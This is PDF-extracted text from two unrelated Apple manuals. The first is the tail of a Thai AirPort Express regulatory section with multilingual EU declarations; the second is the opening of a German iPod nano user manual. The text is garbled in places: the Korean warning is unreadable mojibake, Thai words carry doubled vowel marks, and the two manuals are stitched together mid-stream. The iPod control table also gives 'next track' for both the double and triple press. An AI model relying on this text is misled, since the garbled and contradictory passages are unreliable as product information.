วงจรอื่นๆ กับโทรทัศน์หรือวิทยุ (ส่วนนี้จะเป็นการ
ทำาให้คอมพิวเตอร์และโทรทัศน์หรือวิทยุอยู่บนวงจร
ควบคุมโดยเบรกเกอร์หรือฟิวส์ที่แตกต่างกัน)
ถ้าจำาเป็นให้ขอรับคำาปรึกษาจากตัวแทนผู้ให้บริการ
ของ Apple หรือจาก Apple โดยตรง โปรดดูข้อมูล
การบริการและสนับสนุนที่มาพร้อมกับผลิตภัณฑ์
Apple ของคุณ หรือขอรับคำาปรึกษาจากช่างผู้
ชำานาญเกี่ยวกับโทรทัศน์หรือวิทยุสำาหรับขอคำา
แนะนำาเพิ่มเติม
ข้อมูลสำคัญ: การปรับเปลี่ยนหรือดัดแปลงโดยไม่รับ
อนุญาตจากบริษัท Apple Inc. อาจเป็นโมฆะตาม
EMC และลบล้างสิทธิ์ของคุณในการดำาเนินงานของ
ผลิตภัณฑ์31
ผลิตภัณฑ์นี้ได้รับการทดสอบตามข้อบังคับของ FCC
ภายใต้เงื่อนไขที่ได้รวมถึงการใช้งานอุปกรณ์ของ
Apple ที่ใช้ต่อพ่วงกับคอมพิวเตอร์และเคเบิลฉนวน
ของ Apple และตัวเชื่อมต่อระหว่างองค์ประกอบ
ของระบบ ซึ่งจะเป็นสิ่งสำาคัญอย่างยิ่งเมื่อคุณใช้งาน
อุปกรณ์ของ Apple ที่ใช้ต่อพ่วงกับคอมพิวเตอร์และ
เคเบิลฉนวนของ Apple และตัวเชื่อมต่อระหว่าง
องค์ประกอบของระบบเพื่อลดโอกาสในการเกิดการ
รบกวนไปยังวิทยุ โทรทัศน์และอุปกรณ์ไฟฟ้าอื่นๆ
คุณสามารถได้รับอุปกรณ์ของ Apple ที่ใช้ต่อพ่วง
กับคอมพิวเตอร์และเคเบิลฉนวนของ Apple และตัว
เชื่อมต่อผ่านทางตัวแทนจำาหน่ายที่ได้รับอนุญาตจาก
Apple สำาหรับอุปกรณ์ต่อพ่วงที่ไม่ใช่ของ Apple
โปรดติดต่อตัวแทนผู้ผลิตหรือผู้จำาหน่าย
บุคคลที่มีความรับผิดชอบ (ติดต่อสำาหรับกรณีของ
FCC เท่านั้น)
Apple Inc. Corporate Compliance
1 Infinite Loop, 91-1EMC
Cupertino, CA 95014
การใช้งานคลื่นความถี่วิทยุแบบไร้สาย
อุปกรณ์นี้ถูกจำากัดให้ใช้งานภายในอาคาร โดย
ขณะทำางานนั้นย่านความถี่จะอยู่ในช่วง 5.15 ถึง
5.25 GHz
Cet appareil doit être utilisé à l’intérieur.
การสัมผัสกับพลังงานคลื่นความถี่วิทยุ
พลังงานการแผ่คลื่นที่ส่งออกมาของการ์ด AirPort
ในอุปกรณ์นี้อยู่ภายใต้การจำากัดการสัมผัสคลื่น
ความถี่วิทยุของ FCC และ EU สำาหรับอุปกรณ์ที่ไม่มี
การควบคุม อุปกรณ์นี้ควรอยู่ห่างระหว่างเสาสัญญาณ
การ์ด AirPort และร่างกายอย่างน้อย 8 นิ้ว (20
ซม.) ขณะใช้งานและจะต้องไม่ร่วมอยู่หรือใช้งาน
กับเสาสัญญาณหรือตัวถ่ายโอนอื่นๆ ตามเงื่อนไข
ของ FCC Grant
คำาแถลงข้อบังคับของประชาชนชาวแคนาดา
อุปกรณ์นี้สอดคล้องกับใบอนุญาตอุตสาหกรรม
แคนาดาที่ได้รับยกเว้นตามมาตรฐาน RSS ใน
กระบวนการทำางานจะต้องปฏิบัติภายใต้สองเงื่อนไข
ต่อไปนี้: (1) อุปกรณ์นี้อาจเป็นสาเหตุการรบกวนที่
เป็นอันตรายได้และ (2) อุปกรณ์นี้อาจจำาเป็นที่จะ
ได้รับการรบกวนอื่นๆ รวมถึงการรบกวนที่อาจเป็น
สาเหตุที่ก่อให้เกิดการทำางานที่ผิดพลาดของอุปกรณ์
Cet appareil est conforme aux normes CNR
exemptes de licence d’Industrie Canada.
Le fonctionnement est soumis aux deux
conditions suivantes : (1) cet appareil
ne doit pas provoquer d’interférences
et (2) cet appareil doit accepter toute
interférence, y compris celles susceptibles
de provoquer un fonctionnement non
souhaité de l’appareil.
คำาแถลงของอุตสาหกรรมของแคนาดา
สอดคล้องกับข้อมูลจำาเพาะระดับ B ตาม ICE-003
ของแคนาดา Cet appareil numérique de la
classe B est conforme à la norme NMB-003
du Canada. อุปกรณ์นี้ได้สอดคล้องกับ RSS 210
ของอุตสาหกรรมของแคนาดา32
ใบรับรองมาตรฐานของสหภาพยุโรป
หรือ EU
Български Apple Inc. декларира, че това WLAN
Access Point е в съответствие със съществените
изисквания и другите приложими правила на
Директива 1999/5/ЕС.
Česky Společnost Apple Inc. tímto prohlašuje, že
tento WLAN Access Point je ve shodě se základními
požadavky a dalšími příslušnými ustanoveními
směrnice 1999/5/ES.
Dansk Undertegnede Apple Inc. erklærer herved,
at følgende udstyr WLAN Access Point overholder
de væsentlige krav og øvrige relevante krav i
direktiv 1999/5/EF.
Deutsch Hiermit erklärt Apple Inc., dass sich das
Gerät WLAN Access Point in Übereinstimmung
mit den grundlegenden Anforderungen und
den übrigen einschlägigen Bestimmungen der
Richtlinie 1999/5/EG befinden.
Eesti Käesolevaga kinnitab Apple Inc., et see
WLAN Access Point vastab direktiivi 1999/5/EÜ
põhinõuetele ja nimetatud direktiivist tulenevatele
teistele asjakohastele sätetele.
English Hereby, Apple Inc. declares that this WLAN
Access Point is in compliance with the essential
requirements and other relevant provisions of
Directive 1999/5/EC.
Español Por medio de la presente Apple Inc.
declara que este WLAN Access Point cumple con
los requisitos esenciales y cualesquiera otras
disposiciones aplicables o exigibles de la Directiva
1999/5/CE.
Ελληνικά Mε την παρούσα, η Apple Inc.
δηλώνει ότι αυτή η συσκευή WLAN Access Point
συμμορφώνεται προς τις βασικές απαιτήσεις και τις
λοιπές σχετικές διατάξεις της Οδηγίας 1999/5/ΕΚ.
Français Par la présente Apple Inc. déclare que
l’appareil WLAN Access Point est conforme aux
exigences essentielles et aux autres dispositions
pertinentes de la directive 1999/5/CE.
Islenska Apple Inc. lýsir því hér með yfir að þetta
tæki WLAN Access Point fullnægir lágmarkskröfum
og öðrum viðeigandi ákvæðum Evróputilskipunar
1999/5/EC.
Italiano Con la presente Apple Inc. dichiara che
questo dispositivo WLAN Access Point è conforme
ai requisiti essenziali ed alle altre disposizioni
pertinenti stabilite dalla direttiva 1999/5/CE.
Latviski Ar šo Apple Inc. deklarē, ka WLAN Access
Point ierīce atbilst Direktīvas 1999/5/EK būtiskajām
prasībām un citiem ar to saistītajiem noteikumiem.
Lietuvių Šiuo „Apple Inc.“ deklaruoja, kad šis WLAN
Access Point atitinka esminius reikalavimus ir kitas
1999/5/EB Direktyvos nuostatas.33
Magyar Alulírott, Apple Inc. nyilatkozom, hogy a
WLAN Access Point megfelel a vonatkozó alapvetõ
követelményeknek és az 1999/5/EC irányelv egyéb
elõírásainak.
Malti Hawnhekk, Apple Inc., jiddikjara li dan WLAN
Access Point jikkonforma mal-ħtiġijiet essenzjali
u ma provvedimenti oħrajn relevanti li hemm
fid-Dirrettiva 1999/5/EC.
Nederlands Hierbij verklaart Apple Inc. dat het
toestel WLAN Access Point in overeenstemming is
met de essentiële eisen en de andere bepalingen
van richtlijn 1999/5/EG.
Norsk Apple Inc. erklærer herved at dette WLAN
Access Point-apparatet er i samsvar med de
grunnleggende kravene og øvrige relevante krav i
EU-direktivet 1999/5/EF.
Polski Niniejszym Apple Inc. oświadcza, że ten
WLAN Access Point są zgodne z zasadniczymi
wymogami oraz pozostałymi stosownymi
postanowieniami Dyrektywy 1999/5/EC.
Português Apple Inc. declara que este dispositivo
WLAN Access Point está em conformidade com
os requisitos essenciais e outras disposições da
Directiva 1999/5/CE.
Română Prin prezenta, Apple Inc. declară că acest
aparat WLAN Access Point este în conformitate
cu cerinţele esenţiale şi cu celelalte prevederi
relevante ale Directivei 1999/5/CE.
Slovensko Apple Inc. izjavlja, da je ta WLAN Access
Point skladne z bistvenimi zahtevami in ostalimi
ustreznimi določili direktive 1999/5/ES.
Slovensky Apple Inc. týmto vyhlasuje, že toto
WLAN Access Point spĺňa základné požiadavky a
všetky príslušné ustanovenia Smernice 1999/5/ES.
Suomi Apple Inc. vakuuttaa täten, että tämä
WLAN Access Point tyyppinen laite on direktiivin
1999/5/EY oleellisten vaatimusten ja sitä koskevien
direktiivin muiden ehtojen mukainen.
Svenska Härmed intygar Apple Inc. att denna
WLAN Access Point står i överensstämmelse med
de väsentliga egenskapskrav och övriga relevanta
bestämmelser som framgår av direktiv 1999/5/EG.
สำาเนาประกาศใบรับรองมาตรฐานของสหภาพยุโรป
สามารถดูได้ที่:
www.apple.com/euro/compliance
จุดเข้าถึง Apple WLAN นี้สามารถถูกใช้งานได้ใน
ประเทศต่างๆ ต่อไปนี้:
AT
EE
BG
FI
BE
FR
CY
DE
CZ
GR
DK
HU
IE IT LV LT LU MT
NL PL PT RO SK SL
ES SE GB IS LI NO
CH
ข้อกำาหนดแห่งสหภาพยุโรป
Français Pour usage en intérieur uniquement.
Consultez l’Autorité de Régulation des
Communications Electroniques et des Postes
(ARCEP) pour connaître les limites d’utilisation des
canaux 1 à 13. www.arcep.fr34
คำาแถลงคำาเตือนของเกาหลี
Bૺૺ(ਜ਼ႜဧ෮ቛཅૺၴႁ)
ၦૺૺ௴ਜ਼ႜဧ(B) ႖ၴኒ႕ጁૺૺചച
ਜ਼ႜຫဧዻ௴ઇၕඛ႕ၒചዻඑ, ක౷
ხຫဧዾ༘ၰཀఁఋ.
෮ቛ၁ધགྷಋ൏ધხຫጃ
ጄఙඳ໓໕๗௴ဪဧთ႖ኒጯཅਜ਼ໜၦၰၗ
ၦૺૺ௴ၨྦ႖શഏౘ๗༺ຫဧዾ༘࿖ཀఁఋ
ఝዽූ ૬ႜ ෟ ა༘
ใบรับรองการสื่อสารไร้สายของสิงคโปร์
คำาแถลงการสื่อสารไร้สายของไต้หวัน
คำาแถลงระดับ B ของไต้หวัน
警告
本電池如果更換不正確會有爆炸的危險
請依製造商說明書處理用過之電池
คำาแถลงระดับ B ตามมาตรฐาน VCCI
ของญี่ปุ่น35
ข้อมูลกระบวนการกำาจัดและการรีไซเคิล
สัญลักษณ์นี้จะแสดงถึงผลิตภัณฑ์ของคุณนั้นต้องได้
รับการกำาจัดอย่างถูกวิธีตามกฎหมายท้องถิ่นและ
ข้อบังคับ เมื่อผลิตภัณฑ์ของคุณหมดอายุการใช้งาน
โปรดติดต่อ Apple หรือตัวแทนในท้องถิ่นเพื่อเรียนรู้
เกี่ยวกับตัวเลือกการรีไซเคิล
สำาหรับข้อมูลเกี่ยวกับโปรแกรมการรีไซเคิลของ
Apple ไปที่ www.apple.com/asia/recycling
ข้อมูลกระบวนการกำาจัดแห่งสหภาพยุโรป
สัญลักษณ์ด้านบนจะหมายถึง ตามกฎหมายและ
ข้อบังคับท้องถิ่นสำาหรับผลิตภัณฑ์ของคุณ ควรถูก
กำาจัดแยกออกจากขยะครัวเรือน เมื่อผลิตภัณฑ์นี้หมด
อายุการใช้งาน ให้นำาผลิตภัณฑ์ไปยังจุดรวบรวมที่ถูก
ออกแบบโดยตัวแทนท้องถิ่น จุดรวบรวมบางแห่งจะ
ยอมรับผลิตภัณฑ์ได้โดยไม่เสียค่าใช้จ่าย การแยก
ชิ้นส่วนและการรีไซเคิลผลิตภัณฑ์ของคุณ
ในกระบวนการกำาจัดนั้นจะช่วยอนุรักษ์
ทรัพยากรธรรมชาติและเพื่อให้มั่นใจว่าผลิตภัณฑ์จะ
ถูกรีไซเคิลที่ไม่เป็นพิษต่อมนุษย์และสิ่งแวดล้อม.
Türkiye
EEE yönetmeliğine (Elektrikli ve Elektronik
Eşyalarda Bazı Zararlı Maddelerin Kullanımının
Sınırlandırılmasına Dair Yönetmelik) uygundur.
Brasil—Informações sobre descarte e reciclagem
O símbolo acima indica que este produto e/ou
sua bateria não devem ser descartadas no lixo
doméstico. Quando decidir descartar este produto
e/ou sua bateria, faça-o de acordo com as leis e
diretrizes ambientais locais. Para informações
sobre o programa de reciclagem da Apple, pontos
de coleta e telefone de informações, visite
www.apple.com/br/environment.
ข้อมูลกระบวนการกำาจัดแบตเตอรี่
กระบวนการกำาจัดของแบตเตอรี่ปฏิบัติตามกฎหมาย
และนโยบายสิ่งแวดล้อมท้องถิ่น
Deutschland: Dieses Gerät enthält Batterien. Bitte
nicht in den Hausmüll werfen. Entsorgen Sie dieses
Gerät am Ende seines Lebenszyklus entsprechend
der maßgeblichen gesetzlichen Regelungen.
Nederlands: Gebruikte batterijen kunnen worden
ingeleverd bij de chemokar of in een speciale
batterijcontainer voor klein chemisch afval (kca)
worden gedeponeerd.36
คำาแถลงเกี่ยวกับแบตเตอรี่ของจีน
คำาแถลงเกี่ยวกับแบตเตอรี่ของไต้หวัน
© 2012 Apple Inc. สงวนลิขสิทธิ์
Apple หรือสัญลักษณ์Apple, AirPlay, AirPort,
AirPort Express, AirPort Extreme, Apple
TV, iPad, iPhone, iPod touch, iTunes, Mac
และ Mac OS เป็นเครื่องหมายการค้าของบริษัท
Apple Inc. ที่จดทะเบียนในประเทศสหรัฐอเมริกา
และประเทศอื่นๆ
App Store เป็นเครื่องหมายบริการของบริษัท
Apple Inc.
IOS เป็นเครื่องหมายการค้าหรือเครื่องหมายการค้า
ที่จดทะเบียนของ Cisco ในประเทศสหรัฐอเมริกา
และประเทศอื่นๆ
ชื่อผลิตภัณฑ์และบริษัทอื่นๆ ที่กล่าวถึงในที่นี้อาจเป็น
เครื่องหมายการค้าของบริษัทที่เกี่ยวข้องเหล่านั้นwww.apple.com/airportexpress
www.apple.com/support/airport
TH034-6427-A
Printed in XXXX
iPod nano
BenutzerhandbuchInhalt
4 Kapitel 1: Der iPod nano im Überblick
4 iPod nano Überblick
5 Zubehör
5 Der Home-Bildschirm
6 Symbole in der Statusleiste
7 Kapitel 2: Einführung
7 Einrichten des iPod nano
9 Kapitel 3: Grundlagen
9 Verwenden der Multi-Touch-Funktion
11 Festlegen von Einstellungen
13 Verbinden und Trennen des iPod nano
14 Informationen zur Batterie
16 Konfigurieren der iTunes-Synchronisierung
18 Kapitel 4: Musik und andere Audiodateien
18 Abspielen von Musik
21 Abspielen von Podcasts, Hörbüchern und iTunes U-Sammlungen
24 Erstellen von Wiedergabelisten auf dem iPod nano
27 Anpassen der Lautstärke
29 Kapitel 5: Videos
29 Hinzufügen von Videos auf dem iPod nano
29 Wiedergeben von Videos auf dem iPod nano
30 Wiedergeben von ausgeliehenen Filmen
32 Kapitel 6: FM-Radiosendungen
32 Anhören von FM-Radiosendungen
33 Anhalten von Live-Radiosendungen
34 Finden lokaler Sender und Festlegen von Favoriten
35 Kennzeichnen von Musiktiteln für Hörprobe und Kauf
35 Festlegen Ihrer Radioregion
37 Kapitel 7: Fitness
37 Festlegen der Fitnesseinstellungen
38 Schrittzählung
39 Erstellen von Trainingseinheiten mit Musik
41 Kalibrieren des iPod nano
41 Anzeigen und Verwalten von Fitnessdaten
243 Kapitel 8: Fotos
43 Anzeigen von Fotos auf dem iPod nano
45 Synchronisieren von Fotos
48 Kapitel 9: Uhr
48 Anpassen der Uhr
49 Verwenden der Stoppuhr
49 Verwenden des Timers
51 Kapitel 10: Sprachmemos
51 Aufzeichnen von Sprachmemos
51 Abspielen von Sprachaufnahmen
52 Verwalten der Aufnahmen
54 Kapitel 11: Bedienungshilfen
54 Funktionen der Bedienungshilfen
54 Verwenden von VoiceOver
56 Festlegen der Funktion „Mono-Audio“
57 Umkehren der Farben auf dem Bildschirm
57 Schnelles Aktivieren der Funktionen für die Bedienungshilfen
58 Kapitel 12: EarPods und Bluetooth-Zubehör
58 Verwenden der Apple EarPods
58 Verwenden der Apple EarPods mit Fernbedienung und Mikrofon
59 Anschließen von Bluetooth-Zubehör
61 Wechseln zwischen Audioausgabegeräten
62 Kapitel 13: Tipps und Fehlerbeseitigung
62 Allgemeine Vorschläge
66 Aktualisieren und Wiederherstellen der iPod-Software
68 Kapitel 14: Sicherheit und Handhabung
68 Wichtige Sicherheitsinformationen
70 Wichtige Informationen zur Handhabung
72 Kapitel 15: Weitere Informationen, Service und Support
73 Regulatory Compliance Information
Inhalt 31
4
iPod nano Überblick
Lightning-Anschluss
Standby-Taste
Statusleiste
Multi-Touch-Bildschirm
Home-Taste
Symbole für
Menüund App
Kopfhöreranschluss
Leiser
Lauter
Start/Pause
Funktion Aktion
Die Bildschirmanzeige ein- oder
ausschalten, während Sie Musik
oder andere Audiodateien
anhören
Drücken Sie die Standby-Taste.
Ausschalten des iPod nano oder
erneutes Einschalten
Halten Sie die Standby-Taste einige Sekunden lang gedrückt.
Anpassen der Lautstärke,
während Sie Musik oder andere
Medien anhören
Drücken Sie die Taste „Lauter“ oder „Leiser“.
Diese Tasten steuern auch die Lautstärke für Warnmeldungen und
andere Töne.
Starten oder Unterbrechen der
Audiowiedergabe:
Drücken Sie die Start/Pause-Taste.
Wechseln zur nächsten Audiospur Drücken Sie die Start/Pause-Taste zweimal.
Wechseln zur nächsten Audiospur Drücken Sie die Start/Pause-Taste dreimal.
Zurückkehren zum
Home-Bildschirm
Drücken der Home-Taste
Der iPod nano im ÜberblickKapitel 1 Der iPod nano im Überblick 5
Zubehör
Das folgende Zubehör ist im Lieferumfang des iPod nano enthalten:
Apple EarPods Lightning-auf-USB-Kabel
Verwenden Sie das Lightning-Kabel zum Anschluss des iPod nano an Ihren Computer, um Inhalte
zu synchronisieren und die Batterie aufzuladen. Sie können dieses Kabel auch mit dem Apple
USB Power Adapter (separat erhältlich) verwenden.
Verwenden Sie die Apple EarPods, um Musik, Hörbücher und Podcasts anzuhören. Ferner fungieren die EarPods als Antenne zum Anhören von Radiosendungen.
Information zum Verwenden des Zubehörs mit dem iPod nano, einschließlich optionaler
Headsets und Bluetooth®-Geräte finden Sie unter Kapitel 12, EarPods und Bluetooth-Zubehör,
auf Seite 58.
Der Home-Bildschirm
Nach dem Einschalten des iPod nano wird der Home-Bildschirm angezeigt. Tippen Sie zum
Öffnen im Home-Bildschirm auf ein Symbol und verwenden Sie zum Navigieren die entsprechenden Gesten (vgl. Verwenden der Multi-Touch-Funktion auf Seite 9).
Wenn Sie den iPod nano zum ersten Mal einschalten, sehen Sie folgende Symbole auf dem
Home-Bildschirm:
Titel Bietet schnellen Zugriff auf Ihre Musiktitel und andere Audioinhalte
sortiert nach Wiedergabelisten, Songs uvm.
Videos Bietet schnellen Zugriff auf Ihre Filme und Videos, sortiert nach Typ.
Fitness Öffnet die Funktion „Fitness“, mit der Sie Ihre Schritte beim Gehen
oder Laufen zählen und die Trainingszeit, Strecke, Tempo und verbrauchte Kalorien beim Training aufzeichnen können.
Podcasts Listet die mit Ihrer iTunes-Mediathek synchronisierten Podcasts auf.
Fotos Zeigt die mit Ihrem Computer synchronisierten Fotos an.
Radio Öffnet das FM-Radio, wenn Sie EarPods oder Kopfhörer an den
iPod nano anschließen.
Streichen Sie nach links, um auf einem zweiten Bildschirm diese weiteren Symbole anzuzeigen:
Uhr Öffnet die Uhr, die Stoppuhr und den Timer.
Einstellungen Öffnet die Einstellungen für den iPod nano und viele
seiner Funktionen.Kapitel 1 Der iPod nano im Überblick 6
Hörbücher Listet die mit Ihrer iTunes-Mediathek synchronisierten Hörbücher auf
(und wird nicht angezeigt, wenn keine Hörbücher vorhanden sind).
iTunes U Listet die mit Ihrer iTunes-Mediathek synchronisierten iTunes
U-Sammlungen auf (und wird nicht angezeigt, wenn keine
Sammlungen vorhanden sind).
Sprachmemos Öffnet die Bedienelemente zum Aufzeichnen und Verwalten von
Sprachmemos. Diese Bedienelemente sind nur sichtbar, wenn ein
Mikrofon am iPod nano angeschlossen ist oder wenn sich auf dem
iPod nano bereits aufgezeichnete Sprachmemos befinden.
Symbole in der Statusleiste
Die Symbole in der Statusleiste oben im Bildschirm stellen Informationen über den
iPod nano bereit:
Zeigt, dass Bluetooth aktiviert, jedoch nicht mit einem Bluetooth-Gerät verbunden
oder daran geschlossen ist, oder dass das Gerät sich außer Reichweite befindet oder
ausgeschaltet ist.
oder Zeigt, dass Bluetooth aktiviert und mit einem Bluetooth-Gerät verbunden ist. Die Farbe
wird durch die aktuelle Farbe der Statusleiste bestimmt.
Zeigt, dass das Radio verwendet wird.
Zeigt, dass ein Musiktitel, ein Podcast, ein Hörbuch oder eine iTunes U-Folge
wiedergegeben wird.
Zeigt, dass ein Musiktitel, ein Podcast, ein Hörbuch, eine iTunes U-Folge oder eine
Radiosendung gestoppt wurde.
Die Schritte werden gezählt.
Zeigt den Batterieladezustand oder den Status des Aufladevorgangs an.2
7
· ACHTUNG: Bitte lesen Sie vor dem Verwenden des iPod nano die Informationen unter Wichtige
Sicherheitsinformationen auf Seite 68, um Verletzungen und Beschädigungen zu vermeiden.
Einrichten des iPod nano
Konfigurieren Sie den iPod nano mithilfe von iTunes auf Ihrem Computer. Während der
Konfiguration können Sie einen iTunes Store-Account einrichten oder einen bestehenden
Account angeben. (Der iTunes Store ist möglicherweise nicht in allen Ländern oder Regionen
verfügbar.) Die Seriennummer des angeschlossenen iPod nano wird von iTunes für den Fall
angezeigt und erfasst, dass Sie sie einmal benötigen.
iPod nano einrichten
1 Laden und installieren Sie die neuste Version von iTunes von folgender Website:
www.itunes.com/de/download. Sie benötigen iTunes 10.7 oder neuer.
2 Verbinden Sie den iPod nano mit einem High-Power-USB 2.0- oder einem USB 3.0-Anschluss
Ihres Mac oder PCs und verwenden Sie dazu das mit dem iPod nano gelieferte Kabel.
3 Befolgen Sie die in iTunes angezeigten Anleitungen, um den iPod nano zu registrieren und mit
den Musiktiteln aus Ihrer iTunes-Mediathek zu synchronisieren.
Informationen zum Verwenden des iPod nano-Assistenten finden Sie unter Konfigurieren der
iTunes-Synchronisierung auf Seite 16.
Wird der iPod nano mit Ihrem Computer synchronisiert, wird auf dem iPod nano die Meldung
„Synchronisieren“ angezeigt. Sobald die Synchronisierung abgeschlossen ist, zeigt iTunes die
Meldung „Synchronisierung des iPod abgeschlossen“ an.
4 Optimale Ergebnisse erzielen Sie, wenn Sie die Batterie beim erstmaligen Verwenden des
iPod nano mindestens drei Stunden lang aufladen bzw. so lange aufladen, bis das Batteriesymbol
anzeigt, dass die Batterie vollständig aufgeladen ist.
Ist der iPod nano am USB-Anschluss angeschlossen, wird die Batterie nicht aufgeladen, wenn der
Computer ausgeschaltet ist oder sich im Ruhezustand befindet.
EinführungKapitel 2 Einführung 8
Sie können den iPod nano vom Computer trennen, bevor die Batterie vollständig aufgeladen ist,
und die Synchronisierung während des Ladevorgangs starten. Weitere Informationen finden Sie
unter Informationen zur Batterie auf Seite 14.
5 Trennen Sie die Kabelverbindung zum iPod nano, wenn Sie fertig sind.
Trennen Sie den iPod nano nicht, während die Meldung „Verbunden“ oder „Synchronisieren“
angezeigt wird. Wenn eine dieser Meldungen angezeigt wird, müssen Sie den iPod nano vor
dem Trennen vom Computer auswerfen, um eine Beschädigung der Dateien auf dem iPod nano
zu vermeiden.
Weitere Informationen zum sicheren Trennen des iPod nano finden Sie unter Trennen des iPod
nano von Ihrem Computer auf Seite 13.3
9
Sie steuern den iPod nano mit Gesten auf dem Multi-Touch-Bildschirm, mit den Tasten oben und
an der Seite des iPod nano und mit den Steuerelementen an kompatiblem Zubehör. Sie können
den iPod nano mithilfe von Einstellungen anpassen und ihn mithilfe von iTunes mit Ihrem
Computer synchronisieren. Im Folgenden erfahren Sie, wie Sie den iPod nano korrekt anschlie-
ßen, die Verbindung trennen, die Batterie aufladen und Batteriestrom sparen.
Verwenden der Multi-Touch-Funktion
Der Multi-Touch-Bildschirm und einfache Fingerbewegungen (Gesten) machen das Verwenden
des iPod nano sehr einfach.
Tippen und Doppeltippen
Durch Tippen können Sie ein Symbol öffnen oder ein Objekt in einem Menü oder einer Liste
auswählen. Tippen Sie zweimal auf ein Foto, um es schnell zu vergrößern. Durch erneutes
Doppeltippen können Sie das Foto schnell wieder verkleinern. Beim Ansehen eines Videos
können Sie durch Doppeltippen die Anzeige des Videos auf dem Bildschirm ändern.
Streichen mit dem Finger
Streichen Sie mit dem Finger nach links oder rechts, um zum nächsten oder vorherigen
Bildschirm zu gelangen.
GrundlagenKapitel 3 Grundlagen 10
Schnelles Streichen mit dem Finger
Streichen Sie mit dem Finger schnell nach oben oder unten, um schnell zu blättern. Sie können
warten, bis der Blättervorgang stoppt, oder eine beliebige Stelle auf dem Bildschirm berühren,
um den Vorgang sofort zu stoppen. Wenn Sie den Bildschirm berühren, um einen Blättervorgang
zu stoppen, werden keine Objekte ausgewählt oder aktiviert.
In einigen Listen, wie Wiedergabelisten, können Sie nach unten streichen, um oben im Bildschirm
Bedienelemente für die Bearbeitung einzublenden.
Bewegen
Bewegen Sie den Finger über Navigationsleisten oder Regler, um deren Bedienelemente
zu bewegen.
Verkleinern oder Vergrößern
Sie können die Anzeige eines Fotos Schritt für Schritt verkleinern und vergrößern. Ziehen Sie die
Finger auseinander, um das Foto zu vergrößern, ziehen Sie die Finger zusammen, um die Anzeige
zu verkleinern. Durch Doppeltippen können Sie auf die Maximalgröße vergrößern, durch erneutes Doppeltippen können Sie die Anzeige wieder verkleinern.Kapitel 3 Grundlagen 11
Hier einige weitere Möglichkeiten, den iPod nano mithilfe von Gesten und Tasten zu steuern:
Ausschalten des iPod nano oder
erneutes Einschalten
Halten Sie die Standby-Taste einige Sekunden lang
gedrückt, um den iPod nano vollständig auszuschalten. Die Wiedergabe von Audiodateien wird
ausgeschaltet. Zum Wiedereinschalten des iPod nano,
nachdem er auf diese Weise ausgeschaltet wurde,
halten Sie die Standby-Taste einige Sekunden
lang gedrückt.
Beenden des Ruhezustands des iPod nano Drücken Sie die Standby-Taste.
Ausschalten der Bildschirmanzeige Drücken Sie die Standby-Taste. Musik oder andere
Audiodateien werden weiter abgespielt.
Einschalten der Hintergrundbeleuchtung Tippen Sie auf den Bildschirm, wenn die
Hintergrundbeleuchtung ausgeblendet ist.
Zurücksetzen des iPod nano (wenn er nicht reagiert) Drücken und halten Sie die Standby-Taste
und die Home-Taste sechs Sekunden lang,
bis der Bildschirm dunkel wird. Nach einigen
Sekunden wird das Apple-Logo und dann der
Home-Bildschirm angezeigt.
Auswählen eines Objekts Tippen Sie auf das Objekt.
Zurückkehren zum vorherigen Bildschirm Streichen Sie mit dem Finger nach rechts.
Wechseln zum nächsten Bildschirm (sofern
verfügbar)
Streichen Sie mit dem Finger nach links.
Zum Anfang einer Liste Tippen Sie auf die Statusleiste oben auf
dem Bildschirm.
Anzeigen von Informationen über Musiktitel,
Künstler oder Albumnamen
Streichen Sie mit dem Finger über den Namen.
Direktes Zurückkehren zum Home-Bildschirm Drücken Sie die Home-Taste .
Direktes Zurückkehren zum Bildschirm „Sie hören“ Drücken Sie die Home-Taste zweimal.
Festlegen von Einstellungen
In den „Einstellungen“ können Sie den iPod nano-Bildschirm anpassen, die Anzeige von Datum
und Uhrzeit ändern, Bluetooth aktivieren und andere Einstellungen festlegen. Hier legen Sie auch
die Einstellungen für die Wiedergabe von Musik, Videos, Fotos und Radio fest.
Einstellungen für den iPod nano öffnen
m Streichen Sie mit dem Finger nach links über den Home-Bildschirm und tippen Sie auf
„Einstellungen“.
Informationen zu Ihrem iPod nano
Wählen Sie „Einstellungen“ > „Allgemein“ > „Über“, um die folgenden Informationen über Ihren
iPod nano anzuzeigen:
• Kapazität und Größe des verfügbaren Speicherplatzes
• Anzahl der Songs, Fotos und Videos auf dem iPod nano
• Seriennummer, Modell und Softwareversion
• Bluetooth-Adresse
• Copyright, regulatorische und rechtliche InformationenKapitel 3 Grundlagen 12
Allgemeine Einstellungen
Tippen Sie auf „Einstellungen“ > „Allgemein“, um folgende Einstellungen anzuzeigen:
Helligkeit die Helligkeit des Bildschirms anpassen. die Helligkeit
verringern, um Batteriestrom zu sparen.
Hintergrundbild ein Hintergrundbild für den Home-Bildschirm
festlegen. Tippen Sie auf ein Muster, um es auf
dem Bildschirm anzuzeigen. Tippen Sie dann auf
„Abbrechen“ oder „Festlegen“.
Datum & Uhrzeit Datum, Uhrzeit und Zeitzone festlegen. für die
Uhrzeitanzeige die 24-Stunden-Uhr verwenden. Beim
Beenden des Ruhezustands die Uhr anzeigen. Wählen
Sie ein Zifferblatt aus (vgl. Anpassen der Uhr auf
Seite 48).
Sprache die Sprache für den iPod nano festlegen.
Bedienungshilfen VoiceOver und Mono-Audiowiedergabe aktivieren.
die Farben auf dem Bildschirm umkehren. einen
Kurzbefehl zum Aktivieren bzw. Deaktivieren der
Bedienungshilfefunktionen festlegen.
Informationen zu den Funktionen der
Bedienungshilfen finden Sie unter Funktionen der
Bedienungshilfen auf Seite 54.
Musikeinstellungen
Tippen Sie auf „Einstellungen“ > „Musik“, um folgende Einstellungen festzulegen:
Schütteln für die zufällige Wiedergabe die Funktion des iPod nano zum Starten der
Zufallswiedergabe durch Schütteln aktivieren bzw.
deaktivieren.
Anpassen der Lautstärke festlegen, dass die Lautstärke der Titel automatisch
angepasst wird, sodass sie alle mit derselben relativen
Lautstärke abgespielt werden.
EQ eine Equalizer-Einstellung auswählen.
Obergrenze für die Lautstärke Sie können auf Ihrem iPod nano eine Obergrenze
für die Lautstärke festlegen und dieser eine
Zahlenkombination zuweisen, mit der verhindert wird,
dass die Einstellung ohne Ihre Kenntnis geändert
werden kann.
Audioüberblendung festlegen, dass der iPod nano das Ende jedes Titels
automatisch ausblendet und den Anfang des jeweils
folgenden Titels einblendet.
Zusammenstellen von Gruppen Musiktitel aus Compilations zusammenstellen.
Compilations werden als Unterkategorien unter
„Interpreten“ und bestimmten Genres im Bereich
„Musik“ angezeigt.
Einstellungen für Videos, Fotos und Radio
